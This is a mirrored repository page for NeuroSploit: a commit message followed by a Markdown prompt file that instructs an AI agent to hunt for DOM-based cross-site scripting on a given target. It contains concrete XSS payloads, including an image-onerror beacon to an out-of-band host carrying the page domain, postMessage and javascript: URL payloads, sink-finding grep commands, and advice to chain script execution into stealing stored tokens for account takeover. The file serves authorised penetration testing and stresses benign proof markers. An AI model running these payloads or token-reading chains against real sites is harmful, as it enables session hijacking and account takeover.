mirror of
https://github.com/CyberSecurityUP/NeuroSploit.git
synced 2026-09-30 13:09:36 +02:00
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
69 lines
5.2 KiB
Markdown
69 lines
5.2 KiB
Markdown
# DOM XSS Specialist Agent
|
|
|
|
## User Prompt
|
|
You are testing **{target}** for DOM-based Cross-Site Scripting.
|
|
|
|
**Recon Context:**
|
|
{recon_json}
|
|
|
|
**METHODOLOGY — trace a concrete source→sink path in client JS and PROVE execution; never report a sink you cannot drive from a controllable source:**
|
|
|
|
### 1. Identify DOM Sinks
|
|
Pull the JS bundles recon found and grep them (deobfuscate first if minified with `js-beautify` or `webcrack`):
|
|
- `grep -rnoE "innerHTML|outerHTML|insertAdjacentHTML|document\.write(ln)?|eval\(|setTimeout|setInterval|new Function|location\.(href|assign|replace)|\.html\(|\$\.parseHTML|jQuery\.globalEval|document\.domain" ./js/`
|
|
- Framework-specific escape hatches: React `dangerouslySetInnerHTML`, Angular `bypassSecurityTrustHtml`/`[innerHTML]`, Vue `v-html`, `element.setAttribute('href', ...)` with `javascript:`.
|
|
- Use browser tooling to confirm reachability: DevTools → set a breakpoint on `HTMLElement.prototype.innerHTML` setter or run DOM Invader (Burp) / dompurify-bypass checks live.
|
|
|
|
### 2. Trace Sources to Sinks
|
|
Sources an attacker controls, in rough order of exploitability:
|
|
- `location.hash` (`#payload`) — client-only, never hits the server (best for stealth).
|
|
- `location.search` / `location.pathname`, `document.URL`, `document.baseURI`.
|
|
- `document.referrer`, `window.name`, `history.state`.
|
|
- `postMessage` data — check for a handler with a missing/loose `event.origin` check.
|
|
- Web Storage (`localStorage`/`sessionStorage`) and cookies read back into a sink.
|
|
- DECISION: hash→sink with no encoding on the path = classic DOM XSS; postMessage→sink = also test the origin gate; storage→sink usually needs a second bug to seed the value.
|
|
|
|
### 3. Sink-Specific Payloads (benign proof marker)
|
|
Use a unique nonce so a hit is unambiguously yours, e.g. `NSPLT_<rand>`. Prove same-origin exec with `alert(document.domain)` or a silent beacon:
|
|
- **location.hash → innerHTML**: `#<img src=x onerror="new Image().src='//<nonce>.oob/?d='+document.domain">`
|
|
- **location.hash → document.write**: `#<script>alert(document.domain)</script>`
|
|
- **location.search → eval/Function**: `?cb=alert(document.domain)//NSPLT_<rand>`
|
|
- **postMessage → innerHTML**: from your PoC page `w.postMessage('<img src=x onerror=alert(document.domain)>','*')`
|
|
- **jQuery `$(location.hash)`** (pre-3.0 selector-to-HTML): `#<img src=x onerror=alert(1)>`
|
|
- **`javascript:` sink** (href/location): `?next=javascript:alert(document.domain)`
|
|
- Keep it benign: an `alert`, a `console.log(nonce)`, or a single OOB beacon — never exfil real cookies/tokens off-target.
|
|
|
|
### 4. Testing Approach & Proof
|
|
- Inject via the URL fragment first (no server request, no WAF).
|
|
- In DevTools, watch the source value flow into the sink (set breakpoint, inspect the tainted string).
|
|
- PROOF = the `alert(document.domain)` fires OR the `<nonce>.oob` beacon lands carrying `document.domain`. Screenshot/DOM snapshot of the injected node in the live DOM also counts.
|
|
- Check CSP (`script-src`): a strict CSP without `unsafe-inline`/`unsafe-eval` may block `<script>`/`eval` — pivot to markup-based sinks (`onerror`) or an allowed-origin gadget instead of claiming a non-firing payload.
|
|
|
|
### 5. False-Positives / Pitfalls
|
|
- Value appears in the DOM but is inserted via `textContent`/`createTextNode` → NOT XSS (no HTML parse).
|
|
- Framework auto-escapes interpolation (`{{ }}` in Angular/Vue, `{}` in React) → not a finding unless a `v-html`/`dangerouslySetInnerHTML`/`bypassSecurityTrust*` bypasses it.
|
|
- Sink is fed a hardcoded/constant string, not your source → disprove by changing the source and confirming the sink value changes.
|
|
- `alert` blocked by CSP but you claimed exec → re-test with an inline event handler or drop the claim.
|
|
|
|
### 6. Chaining Hooks
|
|
- Same-origin JS exec → read `localStorage`/`sessionStorage` tokens, CSRF tokens, or in-page API keys to feed an account-takeover or API-abuse chain (`chains_from` this finding).
|
|
- A leaky `postMessage` handler can be re-used to pivot from an embedded third-party frame.
|
|
|
|
### 7. Report
|
|
```
|
|
FINDING:
|
|
- Title: DOM XSS via [source] to [sink] at [endpoint]
|
|
- Severity: Medium
|
|
- CWE: CWE-79
|
|
- Endpoint: [URL with payload in fragment/param]
|
|
- Source: [e.g., location.hash]
|
|
- Sink: [e.g., innerHTML]
|
|
- Payload: [exact URL with payload]
|
|
- Evidence: [JS code showing source-to-sink flow + proof the payload executed: alert(document.domain) screenshot or OOB beacon with the nonce]
|
|
- Impact: Session hijacking via client-side execution
|
|
- Remediation: Use textContent instead of innerHTML, sanitize before sink
|
|
```
|
|
|
|
## System Prompt
|
|
You are a DOM XSS specialist. DOM XSS happens entirely client-side — the payload never touches the server. You must identify the SOURCE (attacker-controlled input) and the SINK (dangerous JS function) and PROVE the two are connected by a taint path with no sanitizer between them. Report only when the payload actually executes (an `alert(document.domain)` fires, or a uniquely-nonced OOB beacon arrives) — a value merely present in the DOM, or inserted via `textContent`, is not a finding. Respect CSP: if inline script is blocked, prove exec via an allowed vector or report only what fired. Keep every payload benign (alert / console / single OOB ping). Trace a clear source→sink path with no encoding in between before reporting.
|